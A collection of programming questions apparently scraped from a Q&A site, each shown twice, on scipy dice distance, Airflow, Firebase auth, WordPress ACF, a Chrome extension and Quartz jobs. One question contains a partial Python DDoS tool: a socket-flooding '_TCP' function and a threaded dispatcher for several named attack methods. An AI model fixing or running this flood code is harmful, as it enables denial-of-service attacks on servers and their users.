tmp1 = pdist(X, metric='dice')
print(tmp1)
# [0.]

</code>```

doc for dice

```<code>
from scipy.spatial import distance
tmp1 = distance.dice([1, 0, 0], [0, 1, 0])
print(tmp1)
# 1.0
tmp1 = distance.dice([1, 0, 0], [1, 1, 0])
print(tmp1)
# 0.3333333333333333
tmp1 = distance.dice([1, 0, 0], [2, 0, 0])
print(tmp1)
# -0.3333333333333333
</code>```

Also are there any good sources to understand why people may choose to compare the similarity between two arrays using dice distance versus others (I see a lot on image segmentation but not simple lines)? I find that it matches really well with a basic visual inspection of my data and I would like to use it in my paper but am not sure if doing so would be seen as problematic in any way. thanks!

Body:
can anyone explain why these produce different results? I cant find anything in the docs that suggest why they would be different.

doc for pdist

from scipy.spatial.distance import pdist

X = [[1, 0, 0], [0, 1, 0]]
tmp1 = pdist(X, metric='dice')
print(tmp1)
# [1.]
X = [[1, 0, 0], [1, 1, 0]]
tmp1 = pdist(X, metric='dice')
print(tmp1)
# [0.33333333]
X = [[1, 0, 0], [2, 0, 0]]
tmp1 = pdist(X, metric='dice')
print(tmp1)
# [0.]

doc for dice

from scipy.spatial import distance
tmp1 = distance.dice([1, 0, 0], [0, 1, 0])
print(tmp1)
# 1.0
tmp1 = distance.dice([1, 0, 0], [1, 1, 0])
print(tmp1)
# 0.3333333333333333
tmp1 = distance.dice([1, 0, 0], [2, 0, 0])
print(tmp1)
# -0.3333333333333333

Also are there any good sources to understand why people may choose to compare the similarity between two arrays using dice distance versus others (I see a lot on image segmentation but not simple lines)? I find that it matches really well with a basic visual inspection of my data and I would like to use it in my paper but am not sure if doing so would be seen as problematic in any way. thanks!


问:
Apache airflow DAG to run Cloud run or AWS EC2
Apache airflow on (GCR OR EC2) to startup others (GCR OR EC2) instance.

Could I install apache airflow in Cloud run or AWS EC2 and program a DAG to startup exiting (cloud run / EC2 ) then do some some activity inside it then shout it down ?

Thanks.


问:
firebase_auth/invalid-app-credential Token mismatch
I try to use Firebase Authentication to sign in a user by sending an SMS message to the user's phone. After entered phone number it shows Token mismatch

Here is my code:

```<code>await _firebaseAuth.verifyPhoneNumber(
    phoneNumber: phoneNumber,
    timeout: const Duration(seconds: 60),
    verificationCompleted: (credential) async {
     ...
    },
    verificationFailed: (FirebaseAuthException error) {
     ...
    },
    codeAutoRetrievalTimeout: (String verificationId) {
     ...
    },
    // called when the SMS code is sent
    codeSent: (verificationId, resendToken) {
     ...
    }
 );
</code>```

Body:
I try to use Firebase Authentication to sign in a user by sending an SMS message to the user's phone. After entered phone number it shows Token mismatch

Here is my code:

await _firebaseAuth.verifyPhoneNumber(
    phoneNumber: phoneNumber,
    timeout: const Duration(seconds: 60),
    verificationCompleted: (credential) async {
     ...
    },
    verificationFailed: (FirebaseAuthException error) {
     ...
    },
    codeAutoRetrievalTimeout: (String verificationId) {
     ...
    },
    // called when the SMS code is sent
    codeSent: (verificationId, resendToken) {
     ...
    }
 );


问:
Wordpress ACF fields not displaying
I have a problem with displaying ACF group fields in wordpress theme.

I have a group of fields named "grupapakiety" that is assigned to the specific page named "Strona główna". I want to display fields of this group in the front-page.php theme file.

I've already tried adding page id to the get_field of the group, but it didn't work.

Repeater field from this group named "pakiety" doesn't work either.

```<code><?php $pakiety = get_field('grupapakiety'); if ($pakiety['czy_pokazywac_pole_z_pakietami']) { ?>
<!-------------------------------- Pricing plan -------------------------------->
<div class="px-4 py-16 mx-auto sm:max-w-xl md:max-w-full lg:max-w-screen-xl md:px-24 lg:px-8 lg:py-20">
  <div class="max-w-xl mb-10 md:mx-auto sm:text-center lg:max-w-2xl md:mb-12">
    <div>
      <p class="inline-block px-3 py-px mb-4 text-xs font-semibold tracking-wider text-teal-900 uppercase rounded-full bg-teal-accent-400">
        <?php echo $pakiety['pakiety_subtitle']; ?>
      </p>
    </div>
    <h2 class="max-w-lg mb-6 font-sans text-3xl font-bold leading-none tracking-tight text-gray-900 sm:text-4xl md:mx-auto">
      <span class="relative inline-block">
        <svg viewBox="0 0 52 24" fill="currentColor" class="absolute top-0 left-0 z-0 hidden w-32 -mt-8 -ml-20 text-blue-gray-100 lg:w-32 lg:-ml-28 lg:-mt-10 sm:block">
          <defs>
            <pattern id="7e5e8ff8-1960-4094-a63a-2a0c0f922d69" x="0" y="0" width=".135" height=".30">
              <circle cx="1" cy="1" r=".7"></circle>
            </pattern>
          </defs>
          <rect fill="url(#7e5e8ff8-1960-4094-a63a-2a0c0f922d69)" width="52" height="24"></rect>
        </svg>
      </span>
      <?php echo $pakiety['pakiety_title']; ?>
    </h2>
    <p class="text-base text-gray-700 md:text-lg">
      <?php echo $pakiety['pakiety_tekst']; ?>
    </p>
  </div>

<div class="grid max-w-md gap-10 row-gap-5 lg:max-w-screen-lg sm:row-gap-10 lg:grid-cols-3 xl:max-w-screen-lg sm:mx-auto">
<?php
if (have_rows('pakiety')):
  while (have_rows('pakiety')): the_row();

$nazwapakietu = get_sub_field('nazwa_pakietu');
$cenapakietu = get_sub_field('cena_pakietu');
$okres = get_sub_field('za_jaki_okres_przysluguje_dana_cena');
$CTAtext = get_sub_field('cta_text');
$CTAurl = get_sub_field('cta_url');
$opispakietu = get_sub_field('opis_pakietu');
$pakietpopularny = get_sub_field('czy_pakiet_ma_byc_oznaczony_jako_najbardziej_popularny');
$popularnytekst = get_sub_field('tekst_najbardziej_popularny');

?>

<div class="flex flex-col justify-between p-8 transition-shadow duration-300 bg-white border rounded shadow-sm sm:items-center hover:shadow <?php if($pakietpopularny) { ?>border-[#6421fb]<?php } ?>">
    <?php if($pakietpopularny) { ?>
      <div class="absolute inset-x-0 top-0 flex justify-center -mt-3">
        <div class="inline-block px-3 py-1 text-xs font-medium tracking-wider text-white uppercase rounded bg-[#6421fb]">
          <?php echo $popularnytekst; ?>
        </div>
      </div>
    <?php } ?>
      <div class="text-center">
        <div class="text-lg font-semibold"><?php echo $nazwapakietu; ?></div>
        <div class="flex items-center justify-center mt-2">
          <div class="mr-1 text-5xl font-bold"><?php echo $cenapakietu; ?></div>
          <div class="text-gray-700"><?php echo $okres; ?></div>
        </div>
        <div class="mt-2 space-y-3">
        <?php
            if (have_rows('co_wchodzi_w_sklad_pakietu')):
            while (have_rows('co_wchodzi_w_sklad_pakietu')): the_row();
            $funkcjonalnosc = get_sub_field('funkcjonalnosc');
        ?>
          <div class="text-gray-700"><?php echo $funkcjonalnosc; ?></div>
        <?php
            endwhile;
            endif;
        ?>
        </div>
      </div>
      <div>
        <a href="<?php echo $CTAurl; ?>" class="inline-flex items-center justify-center w-full h-12 px-6 mt-6 font-medium tracking-wide text-white transition duration-200<?php if($pakietpopularny) { ?> bg-[#6421fb] hover:bg-[#4c1fb3] <?php } else { ?> bg-gray-800 hover:bg-gray-900 <?php } ?>rounded shadow-md focus:shadow-outline focus:outline-none">
          <?php echo $CTAtext; ?>
        </a>
        <p class="max-w-xs mt-6 text-xs text-gray-600 sm:text-sm sm:text-center sm:max-w-sm sm:mx-auto">
          <?php echo $opispakietu; ?>
        </p>
      </div>
    </div>

<?php

endwhile;
endif;
?>
</code>```

Title: Wordpress ACF fields not displaying

Body:
I have a problem with displaying ACF group fields in wordpress theme.

I have a group of fields named "grupapakiety" that is assigned to the specific page named "Strona główna". I want to display fields of this group in the front-page.php theme file.

I've already tried adding page id to the get_field of the group, but it didn't work.

Repeater field from this group named "pakiety" doesn't work either.

<?php $pakiety = get_field('grupapakiety'); if ($pakiety['czy_pokazywac_pole_z_pakietami']) { ?>

        <?php echo $pakiety['pakiety_subtitle']; ?>

        <svg viewBox="0 0 52 24" fill="currentColor" class="absolute top-0 left-0 z-0 hidden w-32 -mt-8 -ml-20 text-blue-gray-100 lg:w-32 lg:-ml-28 lg:-mt-10 sm:block">
          <defs>
            <pattern id="7e5e8ff8-1960-4094-a63a-2a0c0f922d69" x="0" y="0" width=".135" height=".30">
              <circle cx="1" cy="1" r=".7"></circle>
            </pattern>
          </defs>
          <rect fill="url(#7e5e8ff8-1960-4094-a63a-2a0c0f922d69)" width="52" height="24"></rect>
        </svg>

      <?php echo $pakiety['pakiety_title']; ?>

      <?php echo $pakiety['pakiety_tekst']; ?>

<?php
if (have_rows('pakiety')):
  while (have_rows('pakiety')): the_row();

$nazwapakietu = get_sub_field('nazwa_pakietu');
$cenapakietu = get_sub_field('cena_pakietu');
$okres = get_sub_field('za_jaki_okres_przysluguje_dana_cena');
$CTAtext = get_sub_field('cta_text');
$CTAurl = get_sub_field('cta_url');
$opispakietu = get_sub_field('opis_pakietu');
$pakietpopularny = get_sub_field('czy_pakiet_ma_byc_oznaczony_jako_najbardziej_popularny');
$popularnytekst = get_sub_field('tekst_najbardziej_popularny');

?>

<div class="flex flex-col justify-between p-8 transition-shadow duration-300 bg-white border rounded shadow-sm sm:items-center hover:shadow <?php if($pakietpopularny) { ?>border-[#6421fb]<?php } ?>">
    <?php if($pakietpopularny) { ?>

          <?php echo $popularnytekst; ?>

    <?php } ?>

<?php echo $nazwapakietu; ?>

<?php echo $cenapakietu; ?>

<?php echo $okres; ?>

        <?php
            if (have_rows('co_wchodzi_w_sklad_pakietu')):
            while (have_rows('co_wchodzi_w_sklad_pakietu')): the_row();
            $funkcjonalnosc = get_sub_field('funkcjonalnosc');
        ?>

<?php echo $funkcjonalnosc; ?>

        <?php
            endwhile;
            endif;
        ?>

        <a href="<?php echo $CTAurl; ?>" class="inline-flex items-center justify-center w-full h-12 px-6 mt-6 font-medium tracking-wide text-white transition duration-200<?php if($pakietpopularny) { ?> bg-[#6421fb] hover:bg-[#4c1fb3] <?php } else { ?> bg-gray-800 hover:bg-gray-900 <?php } ?>rounded shadow-md focus:shadow-outline focus:outline-none">
          <?php echo $CTAtext; ?>

          <?php echo $opispakietu; ?>

<?php

endwhile;
endif;
?>


问:
My Python DDoS script wont run (packet doesn't send to the target)
Im creating a Python DDoS program, and when i try to run it and target my own testing server, it doesn't send any packets. And the server didn't receive any activities either.

Here is the code

def _TCP(ip, port, packets):
            try:
                while True:
                    for _ in range(len(packets)):
                        random_ip = str(random.randint(0,255)) + '.' + str(random.randint(0,255)) + '.' + str(random.randint(0,255)) + '.' + str(random.randint(0,255))
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.connect((ip, port))
                        response = "GET /" + random_ip + " HTTP/1.1\r\n"
                        response += "Host: " + random_ip + "\r\n\r\n"
                        byte_packet = random.randint(120000, 900000)
                        byte = random._urandom(byte_packet)
                        s.send(str.encode(response))
                        s.sendall(str.encode(response))
                        s.send(byte)
                        s.sendall(byte)
                        for _ in range(len(packets)):
                            s.send(str.encode(response))
                            s.sendall(str.encode(response))
                            s.send(byte)
                            s.sendall(byte)
            except socket.error:
                s.close()
```
<p>Threading code</p>
<pre class="lang-py prettyprint-override"><code>if loadThreads(ip, port, method, packet, threads):
        if method not in METHOD_LIST:
            print('Invalid method used: {}'.format(method))
            return
        print('Attack sended!')
        for i in range(threads):
            threads = []
            if method == "TCP":
                target = threading.Thread(target=attackHandler.Method._TCP, args=[ip, port, packets])
                threads.append(target)
            if method == "UDP":
                target = threading.Thread(target=attackHandler.Method._UDP, args=[ip, port, packets])
                threads.append(target)
            if method == "RAW":
                target = threading.Thread(target=attackHandler.Method._RAW, args=[ip, port, packets])
                threads.append(target)
            if method == "SAMP":
                target = threading.Thread(target=attackHandler.Method._SAMP, args=[ip, port, packets])
                threads.append(target)
            if method == "IGMP":
                target = threading.Thread(target=attackHandler.Method._IGMP, args=[ip, port, packets])
                threads.append(target)
            if method == "SLOW":
                target = threading.Thread(target=attackHandler.Method._SLOW, args=[ip, port, packets])
                threads.append(target)
            if method == "STD":
                target = threading.Thread(target=attackHandler.Method._STD, args=[ip, port, packets])
                threads.append(target)
            if method == "CC":
                target = threading.Thread(target=attackHandler.Method._CC, args=[ip, port, packets])
                threads.append(target)
            if method == "HTTP":
                target = threading.Thread(target=attackHandler.Method._HTTP, args=[ip, port, packets])
                threads.append(target)
</code>```

And this is how i call the function

# No input
loadThreads("127.0.0.1", 80, "TCP", 12000, 90000)

# With input
ip, port, methods, packet, threads = input("input > ").split()
loadThreads(str(ip), int(port), str(methods), int(packet), int(threads))
```
<p>I tried using every solution i can find online, like removing the threads join and threads list, and i tried to only use 1 thread and it still dont work.</p>
<p>When i to run it, this error shows up</p>
```File "C:\Users\Administrator\Downloads\orion_src\source\src\func\handler\attackEvent.py", line 72, in _TCP
    s.send(str.encode(response))
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host
```

Body:
Im creating a Python DDoS program, and when i try to run it and target my own testing server, it doesn't send any packets. And the server didn't receive any activities either.

Here is the code

def _TCP(ip, port, packets):
            try:
                while True:
                    for _ in range(len(packets)):
                        random_ip = str(random.randint(0,255)) + '.' + str(random.randint(0,255)) + '.' + str(random.randint(0,255)) + '.' + str(random.randint(0,255))
                        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
                        s.connect((ip, port))
                        response = "GET /" + random_ip + " HTTP/1.1\r\n"
                        response += "Host: " + random_ip + "\r\n\r\n"
                        byte_packet = random.randint(120000, 900000)
                        byte = random._urandom(byte_packet)
                        s.send(str.encode(response))
                        s.sendall(str.encode(response))
                        s.send(byte)
                        s.sendall(byte)
                        for _ in range(len(packets)):
                            s.send(str.encode(response))
                            s.sendall(str.encode(response))
                            s.send(byte)
                            s.sendall(byte)
            except socket.error:
                s.close()

Threading code

if loadThreads(ip, port, method, packet, threads):
        if method not in METHOD_LIST:
            print('Invalid method used: {}'.format(method))
            return
        print('Attack sended!')
        for i in range(threads):
            threads = []
            if method == "TCP":
                target = threading.Thread(target=attackHandler.Method._TCP, args=[ip, port, packets])
                threads.append(target)
            if method == "UDP":
                target = threading.Thread(target=attackHandler.Method._UDP, args=[ip, port, packets])
                threads.append(target)
            if method == "RAW":
                target = threading.Thread(target=attackHandler.Method._RAW, args=[ip, port, packets])
                threads.append(target)
            if method == "SAMP":
                target = threading.Thread(target=attackHandler.Method._SAMP, args=[ip, port, packets])
                threads.append(target)
            if method == "IGMP":
                target = threading.Thread(target=attackHandler.Method._IGMP, args=[ip, port, packets])
                threads.append(target)
            if method == "SLOW":
                target = threading.Thread(target=attackHandler.Method._SLOW, args=[ip, port, packets])
                threads.append(target)
            if method == "STD":
                target = threading.Thread(target=attackHandler.Method._STD, args=[ip, port, packets])
                threads.append(target)
            if method == "CC":
                target = threading.Thread(target=attackHandler.Method._CC, args=[ip, port, packets])
                threads.append(target)
            if method == "HTTP":
                target = threading.Thread(target=attackHandler.Method._HTTP, args=[ip, port, packets])
                threads.append(target)

And this is how i call the function

# No input
loadThreads("127.0.0.1", 80, "TCP", 12000, 90000)

# With input
ip, port, methods, packet, threads = input("input > ").split()
loadThreads(str(ip), int(port), str(methods), int(packet), int(threads))

I tried using every solution i can find online, like removing the threads join and threads list, and i tried to only use 1 thread and it still dont work.

When i to run it, this error shows up

File "C:\Users\Administrator\Downloads\orion_src\source\src\func\handler\attackEvent.py", line 72, in _TCP
    s.send(str.encode(response))
ConnectionResetError: [WinError 10054] An existing connection was forcibly closed by the remote host


问:
i want to create a chrome extension for data entry automation below are the given screenshot of a webpage and copy and paste data in that textbox
[enter image description here][1]this is the main extension code

its scraoe the dafa form inspect tab and finds the textbox id that data has been put into

```<code>function scrapeData() {
  // Find the <span> tag you want to scrape data from
  const dataTag = document.querySelector("label.copyname span");
  // Extract the data from the tag
  const data = dataTag.innerText;
  // Find the textbox you want to paste the data into
  const textbox = document.querySelector(".form-control input[type='text']");
  // Paste the data into the textbox
  textbox.value = data;
}
</code>```

Body:
[enter image description here][1]this is the main extension code

its scraoe the dafa form inspect tab and finds the textbox id that data has been put into

function scrapeData() {
  // Find the  tag you want to scrape data from
  const dataTag = document.querySelector("label.copyname span");
  // Extract the data from the tag
  const data = dataTag.innerText;
  // Find the textbox you want to paste the data into
  const textbox = document.querySelector(".form-control input[type='text']");
  // Paste the data into the textbox
  textbox.value = data;
}


问:
How to stop execution of quartz scheduler job in c#
How to stop execution of quartz scheduler job in c#

I have tried below code. but it did not work. Please suggest other solutions.

```<code>IScheduler scheduler = await _factory.GetScheduler();
var executingJobs = await scheduler.GetCurrentlyExecutingJobs();

var jobKeys = await scheduler.GetJobKeys(GroupMatcher<JobKey>.GroupEquals("group1"));

//loop through the jobs and interrupt them
foreach (JobKey jobKey in jobKeys)
{
 scheduler.Interrupt(jobKey);
}

// stop the scheduler
scheduler.Shutdown();
</code>```

Body:
How to stop execution of quartz scheduler job in c#

I have tried below code. but it did not work. Please suggest other solutions.

IScheduler scheduler = await _factory.GetScheduler();
var executingJobs = await scheduler.GetCurrentlyExecutingJobs();

var jobKeys = await scheduler.GetJobKeys(GroupMatcher<JobKey>.GroupEquals("group1"));

//loop through the jobs and interrupt them
foreach (JobKey jobKey in jobKeys)
{
 scheduler.Interrupt(jobKey);
}

// stop the scheduler
scheduler.Shutdown();